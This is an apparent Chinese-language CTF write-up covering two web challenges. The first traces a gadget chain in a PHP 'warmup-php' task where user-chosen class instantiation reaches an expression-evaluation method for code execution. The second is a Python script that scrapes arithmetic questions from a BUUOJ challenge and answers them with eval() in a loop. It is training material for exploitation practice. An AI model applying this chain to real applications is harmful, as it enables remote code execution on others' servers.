warmup-php <?php spl_autoload_register (function ($class ) { require ("./class/" .$class .".php" ); }); highlight_file (__FILE__ );error_reporting (0 );$action = $_GET ['action' ];$properties = $_POST ['properties' ];class Action { public function __construct ($action ,$properties ) { $object =new $action (); foreach ($properties as $name =>$value ) $object ->$name =$value ; $object ->run (); } } new Action ($action ,$properties );?>
可见new了一个对象,这里我们去看看那个对象可new
很明显么,只能去new一个TestView对象啊,ListView是一个抽象类不可new.接着就去调用listView的run()方法
接着又调用了this的renderContent()方法
接着就产生了选择,我们去看看哪里可以利用呢.发现在Base.php类中找到了一个evaluateExpression方法
可见可以直接执行了,但是需要传入一个_expression参数,我们去找一个调用链
别忘了我们可以调用一个render***的方法
但是这里在本地执行成功之后,拿去远程执行的时候,却发现无法执行成功,这里的主要原因是我本地使用的5.x的PHP版本,而远程使用的是7.x,这里也可以发现renderTableRow()方法中传入了一个参数,而mothed()却没有传入参数,也就是5.x可以调用,但是7.x却不能,那么我们就要找另一个方法了
可以通过下面的renderTableBody间接去调用上面的方法执行,只需要稍微改一下就好
[GXYCTF2019]StrongestMind
py
import reimport requestsfrom time import sleeps = requests.session() url = 'http://197e14f8-3228-4fe2-bd19-c515590399ce.node4.buuoj.cn:81/' match = re.compile (r"[0-9]+ [+|-] [0-9]+" ) r = s.get(url) for i in range (1020 ): sleep(0.1 ) str = match.findall(r.text)[0 ] data = {"answer" : eval (str )} r = s.post(url, data=data) r.encoding = "utf-8" print ('{} : {}' .format (i,eval (str ))) print (r.text)